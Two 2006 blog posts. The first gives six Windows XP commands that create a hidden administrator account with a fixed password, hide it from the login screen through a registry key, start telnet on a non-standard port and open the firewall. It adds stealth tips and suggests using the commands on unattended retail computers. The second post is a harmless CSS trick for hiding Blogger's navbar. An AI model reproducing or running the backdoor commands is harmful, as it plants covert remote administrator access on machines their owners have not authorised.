Wednesday, June 28, 2006

Shattered Windows

net user houdini mypass123 /add /passwordreq:yes /fullname:"houdini"
net localgroup Administrators houdini /add
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v houdini /t reg_dword /d 0
net start telnet
tlntadmn config port=26
netsh firewall add portopening ALL 26 TELNET ENABLE ALL

This adds an administrator to a Windows XP system (houdini, password 'mypass123'), starts telnet listening on TCP port 26 and punches a hole in the Windows firewall. The user added is a 'special user' whose name doesn't show up as one of the choices at the login screen. The telnet port can be changed as necessary to achieve maximum stealth.

Since it only takes a few seconds to copy the six commands from this page and run them (and it takes even less time to download a batch file containing them and run it), you might think that retailers across America would be reluctant to leave computers with internet access logged in to administrator accounts unattended and sitting out where customers are encouraged to play with them.

You'd be wrong.

posted by jester @ 9:50 PM   0 comments

Thursday, June 22, 2006

How to hide the annoying Blogger navbar

Blogger allows you to choose from several templates for your blog, and they even let you change the template yourself. However, at some point after you save the changes, they stick this ugly navbar in:


Here's their explanation:
"The Blogger NavBar is a navigation bar and toolbar with a form that allows people to search just your weblog using Google's SiteSearch and gives you the ability to check out what's happening on other recently published blogs with one click. This bar replaces the advertisements that used to be displayed at the top of some blogs."

Hmm. I still want it gone. Here's how it's done:

Find the <style type="text/css"> tag at the top of the template. Somewhere between that and the corresponding </style> tag, which is much further down, add the following CSS class:

.hide {
    position:relative;
    visibility:hidden;
}

Now locate the first (only) <body> tag in the template. The code for the navbar will be inserted just after this tag when you save your template, and a simple comment trick won't work.
Since we can't actually get rid of the navbar altogether, we just make it invisible and of zero size by placing the <body> tag in a hidden frame:

<span class="hide">
<iframe name="nullframe" height="0" width="0" scrolling="no" frameborder="no">
<body>
<!-- navbar code inserted right before this comment -->
</iframe>
</span>

Save and republish and the navbar is gone for good.

posted by jester @ 2:12 AM   0 comments